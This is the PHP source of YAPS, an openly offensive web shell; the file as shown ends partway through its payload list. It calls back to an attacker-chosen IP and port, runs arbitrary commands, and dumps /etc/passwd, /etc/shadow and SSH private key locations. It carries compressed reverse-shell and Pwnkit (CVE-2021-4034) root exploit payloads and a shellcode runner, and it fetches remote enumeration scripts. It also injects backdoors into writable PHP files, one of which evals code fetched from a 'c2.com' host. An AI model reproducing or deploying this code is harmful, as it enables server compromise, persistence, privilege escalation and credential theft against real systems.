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yaps.php
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yaps.php
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<?php
# YAPS - Yet Another PHP Shell
# Version 1.5 - 12/02/22
# Made by Nicholas Ferreira
# https://github.com/Nickguitar/YAPS
//error_reporting(0);
$version = "1.5";
set_time_limit(0);
ignore_user_abort(1);
ini_set('max_execution_time', 0);
ini_set('default_socket_timeout', pow(99, 6)); //negative timeout value should set it to infinite, but it doesn't. =(
########################## CONFIGS ############################
$resources = array(
"linpeas" => "https://github.com/carlospolop/PEASS-ng/releases/download/20220211/linpeas.sh",
"linenum" => "https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh",
"suggester" => "https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh",
"updateURL" => "https://raw.githubusercontent.com/Nickguitar/YAPS/main/yaps.php");
$ip = '127.0.0.1';
$port = 7359;
$ps1_color = true; // colored prompt (prettier :)
$color = true; // prompt, banner, info colors (better readability)
$use_password = false; // only allows remote using the shell w/ password
// sha512("vErY_Go0d_$aLt".sha512("password123"))
$salt = 'v_3_r_Y___G_o_0_d___s_4_L_t';
$pass_hash = "f00945860424fa6148e329772c08e7d05d7fab6f69a4722b4c66c164acdb018ecc0cbc62060cc67e7ae962c65ab5967620622cc12206627229b94106b66db6b8"; // default: pass123
$auto_verify_update = false; // if true, will check on every run for update
$silent = false; //if true, does not display banner on connect
if(isset($_GET['vrfy'])) die("baguvix"); //verification
/*
This is a simple shellcode runner I've made in x64 nasm
global _start
section .text
_start:
mov rsi, [rsp+16] ;argv[1]
jmp rsi
mov rax, 60 ;exit
mov rdi, 0 ;code
syscall
Used in shellcode()
TODO: work on compatibility
*/
$shellcode_runner = base64_decode(gzuncompress(base64_decode("eJzt2LEOgjAQBuDdV3GQRDEuDncFCQkoJWCIm5GIxERG4tsbGihoMbq4mP8boPx3LZ3vbO3DuPCZJA34FBXEasncZtyXRfHUTS7Rjshp3lSTUEH7eO3rdAcsdeJUZJbbVWps1w36fpToKod9py5zbGfxlWvjVt+SHzsAAAAAAAAAAADg/7llkAspZ9PjImq+g5WKnTql4LatTvP4nnubkoRtHbKL9curCDXvVJNTbxAP5qc6S2iEOcTVqfP2pxzq41051jB66nryANMTv1U=")));
/*
Modified php-reverse-shell (works w/ sudo, mysql, ftp, su, etc.)
Used in stabilize()
*/
$payload_reverse = gzuncompress(base64_decode("eJydU11v2yAU/St3yGqM5Hw0qbpJliNN6sueVlV7ayKLYJhRCTAgy7Jp/31gnCZbHanrg22455x7z+XizFErjK9cy6Ss2Q9Gc7RvBW0hAQiXmTksBnBz8K1Wi0S4iAdY8Nx5K5nKs5QTL2/h6gpC0Gh3DBZIaQ9c71SDcFVxIh3DkDlPNkKKn8xWaLoRarohroUxFTBCk146QTD+RuEETxv2fap2Uo5QyUIeOLMQmsHL92+pH6WxFIWR2BptPRh/KMMzcYbsVb46GVwhPFj6jZ0H5f8XHj46VJ7Hg5HaMiMJZTlaKVQgVJzhYbTdXCu0U2TLYEzO1ajcbYl7ymeRpulTxeNbm9Aq+nRff7y7e0DF/eeHL0XGrFW6+4SKxaJT+KYi1pJDDjOolpDWyAjDgg2LcHH9MrwP4flgGOI1tJoy56r4rTsfyX5sqSmySHa45NoyQts87YE4yAyOI2FkWzvm640MbQj1NTCK4HQQiZ1GMFx1yfJ3nGmeghj/ygK/qUnfXaKmYo/X6+Nqvu5+DKHqv2hJijHwvRWe9SYfZ+uCR6inzWc3H/A/+lOBFzk6Ta9/pl3OMX9djvlzjt/AqdSuZ1064SPH4LIb0HGbhobLPxcZg50="));
/*
Pwnkit priv esc exploit adapted from https://github.com/arthepsy/CVE-2021-4034/
Used in pwnkit()
*/
$cve_2021_4034 = gzuncompress(base64_decode("eJxtkWFv2jAQhj+PX/HKaEtghEz7NC2jEkJ0IEVtVOjUqamq1HGI1WBHccI8If777LBCuvVDorvnznf33vW5oEWTMnxTdcrlOL/o9buo4E+vWSO4wZbRPKkwVJig9470/6sTizcKdeGpUix2kqfYUCl27gD7Qxc8csFrSxWrG566nwaBsTYni50he6G/Vc22bkyYLmVVI5quFxO/UZVfSJoUvnri4mvHP7nnQGscXfMLUG3hVRmc77Prqx+PbcGxA0c7AYTMmxIvr/wyL/FzGq2wjBBd36zxISaDIBZMGxlmuAMJelzU2CZcuNZIqg0d4bhMY+/uH4xYXC7DOYZZgL9iyPY55RW88p8ZAtSyoflr6tu5aL6VKZKP+o3YqZgOwGgu4ZjcpmC4XV96X3wfd+bT+OzgAtpv7+AdM5QRg8zcPJMlEy7Rvh5TMgL51QbKykjK3MyA98pgZSEtpGJuNjiL2VCK9iU82RpKwlNmBSyFl0XLmS12XAm7fzDd9iDadmk1dOVYOFtMb1bz9eTOOqvFPAwnNvnqNgxxMAI1ozvmkvOJni0yGa5tMTQL39vcwwjM3Kf3Byq29mI="));
######################### END CONFIGS #########################
$yaps = $_SERVER['SCRIPT_FILENAME'];
// sets reverse socket via $_POST['x'] (stealthier, no IP on apache log request line)
if(isset($_POST['x']) && strpos($_POST['x'], ":") !== false){
$skt = explode(":", $_POST['x']);
$ip = $skt[0];
$port = $skt[1];
}
$banner = cyan('
o o O o--o o-o
\ / / \ | ) (
O o---o O--o o-o
| | | | )
o o o o o--o
Yet Another PHP Shell').'
Version '.$version.'
Coder: Nicholas Ferreira';
########################## PARSE ARGV ########################
$short_args = "u::h::s::";
$long_args = array("update::","help::","silent::");
$options = getopt($short_args, $long_args);
if(isset($options['h']) || isset($options['help'])) die(usage());
if(isset($options['u']) || isset($options['update'])) die(verify_update());
if(isset($options['s']) || isset($options['silent'])) $silent = true;
if(php_sapi_name() == "cli"){ // if yaps is run via cli, parse args
if($argc >= 2 && preg_match("/^[0-9]+$/", $argv[$argc-1])){ // $ php yaps.php 127.0.0.1 4444
$port = $argv[$argc-1];
$ip = $argv[$argc-2];
}else{
foreach($argv as $arg){
if(strpos($arg, ":") !== false){ // if an argument is of the form .*:[0-9]+
$socket = explode(":", $arg);
$ip = $socket[0];
$port = (int)$socket[1];
}
}
}
}
##################### END ARGV PARSING ######################
$commands = array(
"all-colors",
// "backdoor",
"color",
// "download",
"duplicate",
"enum",
"help",
"infect",
"info",
"passwd",
"php",
"stabilize",
"suggester",
"pwnkit",
"shellcode"
// "upload"
);
function green($str){
global $color;
return $color ? "\e[92m".$str."\e[0m" : $str;
}
function red($str){
global $color;
return $color ? "\e[91m".$str."\e[0m" : $str;
}
function yellow($str){
global $color;
return $color ? "\e[93m".$str."\e[0m" : $str;
}
function cyan($str){
global $color;
return $color ? "\e[96m".$str."\e[0m" : $str;
}
function white($str){
global $color;
return $color ? "\e[97m".$str."\e[0m" : $str;
}
function banner(){
global $banner;
return $banner.white('
This is ').red('NOT').white(' an interactive shell.
Use ').green('!help').white(' to see commands.');
}
function usage(){
global $banner,$version;
return $banner.'
'.yellow('Usage:').white('
There are three ways you can start the connection:
').green('1. Via command line in the compromised host;').'
E.g: $ php yaps.php [options] [ip port|ip:port]
'.green('2. Making a POST request to the YAPS.php file with the parameter "x=ip:port";').'
E.g: $ curl -X POST -d "x=192.168.73.59:7359" hacked.com/uploads/yaps.php
'.green('3. Making a GET request without parameters (YAPS will connect to the socket hardcoded at the config section);').'
E.g: $ curl hacked.com/uploads/yaps.php
'.yellow('Options:').white('
-h, --help: Show this help
-s, --silent: Silent mode (does not display banner)
-u, --update: Check if YAPS is up to date
').yellow('Examples (suppose your IP is 192.168.73.59):').'
infected@host:~$ php yaps.php -s 192.168.73.59 4444
infected@host:~$ php yaps.php 192.168.73.59:8080
your@machine:~$ curl -X POST -d "x=192.168.73.59" hacked.com/uploads/yaps.php
';
}
//check whether a function is available for php to run it
function isAvailable($function){
$dis = ini_get('disable_functions');
if(!empty($dis)){
$dis = preg_replace('/[, ]+/', ',', $dis);
$dis = explode(',', $dis); // split by comma
$dis = array_map('trim', $dis); //remove whitespace at the beginning and end
}else{
$dis = array();
}
if(is_callable($function) and !in_array($function, $dis))
return true;
return false;
}
//display help menu
function help(){
$help = '
'.green('Useful commands:').'
'.cyan('!help').'
Display this menu
'.cyan('!all-colors').'
Toggle all colors (locally only)
'.cyan('!color').'
Toggle $PS1 color (locally only)
'.cyan('!duplicate').'
Spawn a YAPS session to other ports
'.cyan('!enum').'
Download Linpeas and Linenum to /tmp and get it ready to run
'.cyan('!infect').'
Inject payloads into PHP files
'.cyan('!info').'
List information about the target
'./*cyan('!download <target file>').'
Downloads file from target to your PC
'.cyan('!upload <source> <destination>').'
Uploads a source file from your PC to target destination folder
'.*/cyan('!passwd').'
Show options for password
'.cyan('!php').'
Write and run PHP code on the remote host
'.cyan('!pwnkit').'
Try to exploit CVE-2021-4034 and spawn a root reverse shell
'.cyan('!shellcode').'
Send and run shellcode on the remote host
'.cyan('!stabilize').'
Spawn an interactive shell to other ports
'.cyan('!suggester').'
Download Linux Exploit Suggester to /tmp and get it ready to run
'.green('Command line options:').'
'.white('$ php yaps.php [--update|-u]').'
Check if YAPS is up to date
'.white('$ php yaps.php ip port').'
Connect to ip:port
';
return $help;
}
//try to run a system command via different ways
function run_cmd($c){ // modified from msf
$c = $c." 2>&1\n"; // stderr to stdout
if(isAvailable('exec')){
$stdout = array();
exec($c, $stdout);
$stdout = join(chr(10),$stdout).chr(10);
}else if(isAvailable('shell_exec')){
$stdout = shell_exec($c);
}else if(isAvailable('popen')){
$fp = popen($c, 'r');
$stdout = NULL;
if(is_resource($fp))
while (!feof($fp))
$stdout .= fread($fp, 1024);
@pclose($fp);
}else if(isAvailable('passthru')){
ob_start();
passthru($c);
$stdout = ob_get_contents();
ob_end_clean();
}else if(isAvailable('proc_open')){
$handle = proc_open($c, array(
array('pipe','r') ,
array('pipe','w') ,
array('pipe','w')
) , $pipes);
$stdout = NULL;
while (!feof($pipes[1]))
$stdout .= fread($pipes[1], 1024);
@proc_close($handle);
}else if(isAvailable('system')){
ob_start();
system($c);
$stdout = ob_get_contents();
ob_end_clean();
}else{
$stdout = 0;
}
return $stdout;
}
$ps1 = "[YAPS] ".str_replace(PHP_EOL,"",green(run_cmd("whoami")."@".run_cmd("hostname")).":".cyan(run_cmd("pwd"))."$ "); // user@hostname:~$
//make some internal recon
function sysinfo(){
global $s;
fwrite($s,green("\n====================== Initial info ======================\n\n"));
$info = cyan("[i] OS info:\n").run_cmd("lsb_release -a | grep -v 'No LSB'").PHP_EOL;
$info .= cyan("[i] Hostname: ").run_cmd("hostname");
$info .= cyan("[i] Kernel: ").run_cmd("uname -a");
$info .= cyan("[i] CPU: \n").run_cmd("cat /proc/cpuinfo | grep -i 'model name' | cut -d':' -f 2 | sed 's/^ *//g'");
$info .= cyan("[i] RAM: \n").run_cmd("cat /proc/meminfo | egrep -i '(memtotal|memfree)'");
$info .= cyan("[i] Sudo version: ").run_cmd("sudo --version | grep 'Sudo version' | cut -d' ' -f 3");
$info .= cyan("[i] User/groups: ").run_cmd("id").PHP_EOL;
$info .= cyan("[i] Active TTY: \n").run_cmd("w").PHP_EOL;
fwrite($s, $info);
fwrite($s,green("====================== Users info ======================\n\n"));
$info = cyan("[i] Current user: ").run_cmd("whoami");
$info .= cyan("[i] Users in /home: \n").run_cmd("ls /home").PHP_EOL;
$info .= cyan("[i] Crontab of current user: \n").run_cmd("crontab -l | egrep -v '^#'").PHP_EOL;
$info .= cyan("[i] Crontab: \n").run_cmd("cat /etc/crontab | egrep -v '^#'").PHP_EOL;
fwrite($s, $info);
fwrite($s,green("====================== All users ======================\n\n"));
fwrite($s, run_cmd("cat /etc/passwd").PHP_EOL);
if(is_readable("/etc/shadow"))
fwrite($s, red("[!] /etc/shadow is readable!\n").run_cmd("cat /etc/shadow").PHP_EOL);
fwrite($s, green("====================== Net info ======================\n\n"));
$info = cyan("[i] IP Info: \n").run_cmd("ifconfig").PHP_EOL;
$info .= cyan("[i] Hosts: \n").run_cmd("cat /etc/hosts | grep -v '^#'").PHP_EOL; // /etc/hosts file
$info .= cyan("[i] Interfaces/routes: \n").run_cmd("cat /etc/networks && route").PHP_EOL;
$info .= cyan("[i] IP Tables rules: \n").run_cmd("(iptables --list-rules 2>/dev/null)").PHP_EOL;
$info .= cyan("[i] Active ports: \n").run_cmd("(netstat -punta) 2>/dev/null").PHP_EOL; //established, listening, 0.0.0.0, 127.0.0.1
fwrite($s, $info);
fwrite($s, green("====================== Interesting binaries ======================\n\n"));
$interesting_binaries = array('nc','nc.traditional','ncat','nmap','perl','python','python2','python2.6','python2.7','python3','python3.6','python3.7','ruby','node','gcc','g++','docker','php');
foreach($interesting_binaries as $binary) {
$binary = shell_exec("which $binary 2>/dev/null");
if($binary !== "" && base64_encode($binary.PHP_EOL) !== "Cg==") // if not empty or newline
fwrite($s, run_cmd("ls -l $binary"));
}
fwrite($s, green("\n====================== SUID binaries ======================\n\n"));
$suid_list = explode("\n",shell_exec("find / -type f -perm /4000 2>/dev/null"));
foreach($suid_list as $suid)
if($suid !== "")
fwrite($s, run_cmd("ls -l $suid"));
fwrite($s, green("\n====================== SSH files ======================\n\n"));
$authorized_keys = explode("\n",shell_exec("find / -type f -name authorized_keys 2>/dev/null")); // search for authorized_keys file
foreach($authorized_keys as $public_key)
if(is_writable($public_key))
fwrite($s, red("[Writable] ").$public_key.PHP_EOL);
else
fwrite($s, $public_key.PHP_EOL);
$id_rsa = explode("\n",shell_exec("find / -type f -name id_rsa 2>/dev/null")); // search for id_rsa files
foreach($id_rsa as $priv_key)
if(is_readable($priv_key))
fwrite($s, red("[Readable] ").$priv_key.PHP_EOL);
else
fwrite($s, $priv_key.PHP_EOL);
fwrite($s, green("\n=================== Writable PHP files ===================\n\n"));
$webfiles_arr = array();
$webdir = array('/var/www','/srv','/usr/local/apache2','/var/apache2','/var/www/nginx-default');
foreach($webdir as $dir)
$webfiles_arr = array_merge($webfiles_arr, explode("\n", shell_exec("find ".$dir." -type f -name '*.php*' -writable 2>/dev/null")));
if(count($webfiles_arr) > 25){
for($i=0;$i<25;$i++)
if($webfiles_arr[$i] !== "")
fwrite($s, red("[Writable] ").$webfiles_arr[$i].PHP_EOL);
fwrite($s, "...\n...".PHP_EOL);
fwrite($s, green("[+] "). "Showing only the first 25 files. There are more!".PHP_EOL);
}else{
foreach($webfiles_arr as $file)
if($file !== "")
fwrite($s, red("[Writable] ").$file.PHP_EOL);
}
fwrite($s, cyan("\n[i]")." Get more information with !enum.".PHP_EOL);
}
//return a random string with 5~6 chars
function random_name($name = ""){
$charset = implode("",array_merge(range("A", "Z"), range("a","z"), range(0,9))); // merge arrays and join them into a string
for($i=0;$i<=mt_rand(5,6);$i++)
$name .= $charset[mt_rand(0,strlen($charset)-1)];
return $name;
}
//download file from $url to $saveTo
function download($url, $saveTo){
$randomName = random_name();
$content = get_request($url);
if(isAvailable('file_put_contents'))
if(file_put_contents($saveTo."/".$randomName,$content)) return $randomName;
if(isAvailable('fopen') && isAvailable('fwrite') && isAvailable('fclose')){
$fp = fopen($saveTo."/".$randomName, "w");
if(fwrite($fp, $content)){
fclose($fp);
return $randomName;
}
}
return false;
}
//download linpeas, save to /tmp and change its permission to 777
function enum(){
global $s, $resources;
$downloadLinpeas = download($resources["linpeas"], "/tmp/");
$downloadLinenum = download($resources["linenum"], "/tmp");
if($downloadLinpeas){
fwrite($s, green("[+]")." Linpeas saved to /tmp/".$downloadLinpeas.cyan("\n[i] Changing permissions...\n"));
if(chmod("/tmp/".$downloadLinpeas, 777))
fwrite($s, green("[+]")." Permissions changed! \n[i] You can run it with ".yellow("sh /tmp/".$downloadLinpeas." | tee /tmp/linpeas.log\n\n"));
else
fwrite($s, yellow("[!]")." Couldn't change permissions... \n[i] File was saved in ".yellow("/tmp/".$downloadLinpeas."\n\n"));
}
if($downloadLinenum){
fwrite($s, green("[+] Linenum saved to /tmp/".$downloadLinenum).cyan("\n[i] Changing permissions...\n"));
if(chmod("/tmp/".$downloadLinenum, 777))
fwrite($s, green("[+]")." Permissions changed! \n[i] You can run it with ".yellow("sh /tmp/".$downloadLinenum." | tee /tmp/linenum.log\n"));
else
fwrite($s, yellow("[!]")." Couldn't change permissions... \n[i] File was saved in ".yellow("/tmp/".$downloadLinenum."\n"));
}
}
//download linux exploit suggester, save to /tmp and change its permission to 777
function suggester(){
global $s, $resources;
$download = download($resources["suggester"], "/tmp/");
if($download){
fwrite($s, green("[+]")." Linux Exploit Suggester saved to /tmp/".$download.cyan("\n[i]")." Changing permissions...\n");
if(chmod("/tmp/".$download, 777))
fwrite($s, green("[+]")." Permissions changed! \n[i] You can run it with ".yellow("sh /tmp/".$download." | tee /tmp/LES.log\n"));
else
fwrite($s, yellow("[!]")." Couldn't change permissions... \n[i] File was saved in ".yellow("/tmp/".$download."\n"));
}
return;
}
//build a nice PS1, toggle between colored and not colored
function refresh_ps1($changecolor=false){
global $ps1_color,$ps1;
$user = str_replace(PHP_EOL, "", run_cmd("whoami"));
$ps1_user = $user."@".run_cmd("hostname");
$pwd = str_replace("/home/".$user, "~", run_cmd("pwd"));
$hostname = run_cmd("hostname");
if(!$ps1_color){
$ps1 = white("[YAPS] ").str_replace(PHP_EOL,"",green($ps1_user).":".cyan($pwd)."$ "); // user@hostname:~$
if($user == "root") $ps1 = white("[YAPS] ").str_replace(PHP_EOL,"",red($user."@".$hostname).":".cyan($pwd)."# "); // root@hostname:~#
if($changecolor) $ps1_color = true;
}else{
$ps1 = white("[YAPS] ").str_replace(PHP_EOL,"",$ps1_color.":".$pwd."$ "); // user@hostname:~$
if($user == "root") $ps1 = white("[YAPS] ").str_replace(PHP_EOL,"",$user."@".$hostname.":".$pwd."# "); // root@hostname:~#
if($changecolor) $ps1_color = false;
}
}
//check if eva() is available and receive PHP code via socket
function getPHP(){
global $s;
if(!isAvailable("eval")){
fwrite($s, red("[-] ")."\"eval()\" function is not enabled.");
return 0;
}
$php = '';
fwrite($s, cyan("[*]")." Write your PHP code (*without* PHP tags). To send and run it, use ".green("!php").". ".yellow("\n[i] Note that this is NOT an interactive PHP shell. Max input: 4096 bytes.").white("\nphp> "));
while($c = fread($s, 4096)){
if(substr($c,0,-1) == "!php") // remove newline at end
return $php;
if(substr($c,0,-1) == "!cancel") // remove newline at end
return 0;
fwrite($s, white("php> ")); //prompt
$php .= $c; // append received line to the whole php code to be executed
}
return $php;
}
function runPHP($code){ // guess what
try{
ob_start();
eval($code); // do the magic
$result = ob_get_contents(); //get buffer from eval() to return later
ob_end_clean();
}catch (Throwable $ex){
$err = explode("Stack trace:", $ex);
$result = $err[0]; //return the error
}
return $result;
}
// spawn an interactive shell
function stabilize($post_socket=""){
global $s, $port, $ip, $payload_reverse;
if(strlen($post_socket) > 1 && strlen($post_socket) > 0){ //if post_socket is set
$skt = explode(":", $post_socket);
$post_ip = $skt[0];
$post_port = $skt[1];
// changes payload to add correct socket
$final_payload = base64_encode(str_replace("IP_ADDR", $post_ip, str_replace("PORT", $post_port, $payload_reverse)));
run_cmd("echo ".$final_payload."| base64 -d | php -r '\$stdin=file(\"php://stdin\");eval(\$stdin[0]);'");
return;
}
fwrite($s, yellow("[i]")." Set up a listener on another port (nc -lnvp <port>) and press ENTER.\nChoose a port: ");
while($c = fread($s, 8)){ //reads [ENTER]
if(strlen($c) > 0){ // got [ENTER]
$recv_port = (int)$c; // get the integer part of input
if($recv_port>65535 || $recv_port==0){
fwrite($s,red("[-]")." Port must be between 0-65535.\nChoose another port: ");
}else{
$final_payload = base64_encode(str_replace("IP_ADDR", $ip, str_replace("PORT", $recv_port, $payload_reverse))); // changes payload to add correct socket
fwrite($s, yellow("[i]")." Trying to connect to $ip:$recv_port\n");
if(isAvailable("popen") && isAvailable("pclose")){
pclose(popen("echo ".$final_payload."| base64 -d | php -r '\$stdin=file(\"php://stdin\");eval(\$stdin[0]);' &",'r')); // does the magic
return;
}
// in case we don't have popen or pclose
$curl_url = $_SERVER["REQUEST_SCHEME"]."://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"]; // htt(p|ps) :// website.com /files/yaps.php
run_cmd("timeout --kill-after 0 1 wget --post-data=\"x=$ip:$recv_port&stabilize=1\" $curl_url > /dev/null"); // thx znttfox =)
return;
}
}
}
}
function backdoor(){
// todo
}
//ask for password and check if it's correct
function check_password(){
global $s, $pass_hash, $salt;
fwrite($s, yellow("[i] ")."This shell is protected. \nEnter the password: ");
while($data = fread($s,1024)){
$entered_pass = substr($data,0,-1); //remove newline at end
return hash("sha512", $salt.hash("sha512",$entered_pass, false), false) == $pass_hash ? true : false;
}
}
//change the shell's password
function change_password($new){
global $salt, $yaps, $s;
$new_hash = hash("sha512", $salt.hash("sha512",$new, false), false);
$perm_err = red("[-] ")."Couldn't read or write the file. Are the permissions right?\n" . run_cmd("ls -l ".$yaps."\n");
//someone changed the permission
if(!is_readable($yaps) || !is_writable($yaps))
return fwrite($s, $perm_err);
$yaps_code = file_get_contents($yaps);
$new_yaps_code = preg_replace('/[a-f0-9]{128}/', $new_hash, $yaps_code, 1); // the password hash is be the first thing this regex should match
if(file_put_contents($yaps, $new_yaps_code))
return fwrite($s, green("[+] ")."Password changed. Changes will take effect on next connection.\n");
fwrite($s, $perm_err);
return false;
}
//activate or deactivate password protection
function toggle_password(){
global $use_password, $s, $yaps;
$yaps_code = file_get_contents($yaps);
if($use_password){ //password currently active
$new_yaps_code = preg_replace('/(\$use_password += +)(true)/', '$1false', $yaps_code, 1);
if(file_put_contents($yaps, $new_yaps_code)){
$use_password = false;
fwrite($s, green("[+] ")."Password deactivated.\n");
return true;
}
fwrite($s, red("[-] ")."Couldn't deactivate password.\n");
return false;
}
// enter here if $use_password is false
$new_yaps_code = preg_replace('/(\$use_password += +)(false)/', '$1true', $yaps_code, 1); //limit must be 1
if(file_put_contents($yaps, $new_yaps_code)){
$use_password = false; // if limit isn't 1, this will be changed to false too
fwrite($s, green("[+] ")."Password activated.\n");
return true;
}
fwrite($s, red("[-] ")."Couldn't activate password.\n");
return false;
}
function passwd(){
global $s,$use_password;
if($use_password){
if(!check_password())
return fwrite($s, red("[-] ")." Wrong password\n");
fwrite($s, green("[+] Password is enabled. ").white("Choose an option:")."\n[1] Change password\n[2] Disable password\n[3] Cancel\n> ");
while($data = fread($s, 8)){
switch(substr($data, 0, -1)){
case "1": // change password
fwrite($s,cyan("[*] ")."Choose the new password: ");
while($data2 = fread($s, 1024)){
$newPass = substr($data2, 0, -1); //remove newline at end
change_password($newPass);
return;
}
break;
case "2": // disable password
toggle_password();
return;
break;
default:
fwrite($s, cyan("[*] ")."Canceled.\n");
return;
break;
}
}
}else{ // no password required
fwrite($s, yellow("[!] Password is disabled. ").white("Choose an option:")."\n[1] Set a password\n[2] Enable password\n[3] Cancel\n> ");
while($data = fread($s, 8)){
switch(substr($data, 0, -1)){
case "1": // set a new password
fwrite($s,cyan("[*] ")."Choose the new password: ");
while($data2 = fread($s, 1024)){
$newPass = substr($data2, 0, -1); //remove newline at end
change_password($newPass);
return;
}
break;
case "2": // enable password
toggle_password();
return;
break;
default:
fwrite($s, cyan("[*] ")."Canceled.\n");
return;
break;
}
}
}
}
//spawn another YAPS shell session
function duplicate(){
global $s,$ip,$port,$_SERVER;
//check if yaps was called via CLI or not
@$curl_url = $_SERVER["REQUEST_SCHEME"]."://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"]; // htt(p|ps) :// website.com /files/yaps.php
if(!$curl_url){
fwrite($s, yellow("[-] ")."Couldn't find YAPS URL. Did you run me via command line?\nPlease provide the correct YAPS URL (example.com/files/yaps.php): ");
while($yaps_url = fread($s, 256)){
if(get_request(preg_replace("/\n/", "",$yaps_url."?vrfy")) !== "baguvix")
return fwrite($s, red("[-] ")."Couldn't validade YAPS URL. Is this the correct URL?\n");
break;
}
$curl_url = $yaps_url;
}
fwrite($s, cyan("[*] ").white("Choose the port(s) to receive the connection(s).\n You can separate them with commas or specify ranges.\n E.g.: 7359,8080,8085-8090\n(default: $port): "));
$new_port = fread($s, 32);
if(!preg_match("/^[0-9]+(\-[0-9]+|,[0-9]+(\-[0-9]+)*)*$/", $new_port))
return fwrite($s, red("[-] ").white("Wrong format. You can separate ports with commas or specify ranges.\n E.g.: 7359,8080,8085-8090\n"));
$new_port = (base64_encode($new_port) == "Cg==") ? $port : str_replace(" ", "", substr($new_port,0,-1)); //if new_port= newline, new_port = old port
$port_list = array();
//if ports are comma separated
$comma_list = [$new_port];
if(strpos($new_port, ",") !== false)
$comma_list = explode(",", $new_port);
foreach($comma_list as $p){
//if there is some port range
if(strpos($p, "-") !== false){
$range = explode("-", $p);
for($i=(int)$range[0];$i<=(int)$range[1];$i++)
array_push($port_list, $i);
continue;
}
array_push($port_list, $p);
}
$popen_pclose = false;
if(isAvailable("popen") && isAvailable("pclose")) $popen_pclose = true;
//for each port, connect to it
foreach($port_list as $p){
$socket = array('x' => $ip.":".$p);
fwrite($s, green("[+] ").white("Connecting to ".$ip.":".$p."\n"));
$cmd = "nohup wget -qO- --post-data=\"".http_build_query($socket)."\" '$curl_url' & > /dev/null";
if($popen_pclose)
pclose(popen($cmd." &",'r')); // doesn't wait for wget to return
run_cmd("nohup timeout --kill-after 0 1 ".$cmd." &"); // thx znttfox =)
}
}
function get_request($url){ //todo: change download function
if(isAvailable("file_get_contents"))
return file_get_contents($url);
elseif(isAvailable("fread") && isAvailable("fopen") && ini_get("allow_url_fopen"))
return fread(fopen($url, "r"),10);
elseif($tmp_curl = run_cmd("curl -s ".$url))
return $tmp_curl;
elseif($tmp_wget = run_cmd("wget -qO- ".$url))
$response = $tmp_wget;
elseif(in_array("curl",get_loaded_extensions())){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$response = curl_exec($ch);
curl_close($ch);
return $response;
}
return false;
}
//check if YAPS is up to date
function verify_update(){
global $version, $resources;
echo cyan("[i] ")."Your version: $version. Checking for updates...\n";
$versionURL = file_get_contents($resources["updateURL"]);
preg_match('/version = "([^"]+)";/', $versionURL,$matches);
$newest_version = explode(".", $matches[1]);
$version = explode(".", $version);
//iterate over the size of the smallest arr
$size = count($version) <= count($newest_version) ? count($version) : count($newest_version);
for($i=0;$i<$size;$i++)
if((int)$newest_version > $version[$i])
return red("[i]")." Your version is not up to date.\n".green("[DOWNLOAD v".implode(".",$newest_version)."]: ").$resources["updateURL"]."\n";
return green("[+] ")."YAPS is already up to date (v".implode(".",$version).")!\n";
}
// return writable php files at $dir
function getFiles($dir){
$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir)); //list recursively
$list = array();
foreach($iterator as $file)
if(!is_dir($file) && is_writable($file)) //list only writable files
if($file->getPathName() !== $_SERVER["SCRIPT_FILENAME"]) //remove myself from list
if(substr($file->getPathName(),-4) == ".php") //list only php files
array_push($list,$file->getPathName());
sort($list);
return $list;
}
//select files to be infected with some PHP payload
function select_files(){
global $s;
$webdir = array('/var/www/','/srv/','/usr/local/apache2/','/var/apache2/','/var/www/nginx-default/');
$webfiles_arr = array();
foreach($webdir as $dir)
try{
$list = getFiles($dir);
$webfiles_arr = array_merge($webfiles_arr,$list);
}catch(Exception $e){}
if(count($webfiles_arr) > 0) fwrite($s, cyan("[*] ").white("Found ".count($webfiles_arr)." writable PHP files:\n"));
for($i=0;$i<count($webfiles_arr);$i++)
fwrite($s, red("[$i] ").$webfiles_arr[$i].PHP_EOL);
fwrite($s,cyan("\n[*] ").white("Choose the files you want to infect.\n Separate by comma (e.g:1,5,7,8) and/or by range (e.g:10-16).\n Files: "));
while($data2 = fread($s, 1024)){ //receive numbers and parse
$files = str_replace(" ", "", substr($data2, 0, -1)); //remove whitespaces and newline at end
$files = explode(",",$files); //split
if(count($files) == 1 && $files[0] == "") return; //no file selected
$toInfect = array();
foreach($files as $file){
if(preg_match("/^[0-9]+$/",$file)) // filter numbers
array_push($toInfect, $file);
if(preg_match("/^[0-9]+\-[0-9]+$/",$file)){ // filter ranges
$range = explode("-",$file); // ex:4-6 -> $range[0]=4, $range[1]=6
if((int)$range[0] < (int)$range[1]) // 4 must be < than 6
for($i=(int)$range[0];(int)$i<=$range[1];$i++) // from i=4 to i=6
array_push($toInfect, $i);
}
}
sort($toInfect,SORT_NUMERIC);
choose_payload($webfiles_arr,array_unique($toInfect)); //remove duplicates
return;
}
}
//let user choose the payload to infect selected files
function choose_payload($allFiles,$toInfect){
global $s;
$payloads = array(
//curl -d "0=whoami" website.com/infected_file.php
//curl website.com/infected_file.php?0=whoami
"0. TinyRCE " => '<?=`$_REQUEST[0]`;?>',
//same
"1. ClassicRCE " => '<?=@system($_REQUEST[0]);?>',
//curl -d "0=phpinfo();" website.com/infected_file.php
"2. Eval " => '<?=@eval($_REQUEST[0]);?>',
//curl -d "0=cGhwaW5mbygpOw==" website.com/infected_file.php (encoded phpinfo())
"3. BasedEval " => '<?=@eval(base64_decode($_REQUEST[0]));?>',
//curl -d "0=c2.com/file_to_be_executed.txt" website.com/infected_file.php
"4. RemotePHP " => '<?=@eval(file_get_contents($_REQUEST[0]));?>',
//curl -d "0=c2.com/file_to_upload&1=extension" website.com/infected_file.php
"5. RemoteUpload " => '<?=$x=rand(100,999);@file_put_contents("./".$x.".".$_REQUEST[1],@file_get_contents($_REQUEST[0]));echo $x.$_REQUEST[1];?>',
//curl -F "0=@file_to_upload.php" website.com/infected_file.php
"6. LocalUpload " => '<?php if(isset($_FILES["0"]))if(move_uploaded_file($_FILES["0"]["tmp_name"],"_".$_FILES["0"]["name"]))echo"Uploaded: _".$_FILES["0"]["name"];?>',
//curl "0=your_ip&1=port" website.com/infected_file.php
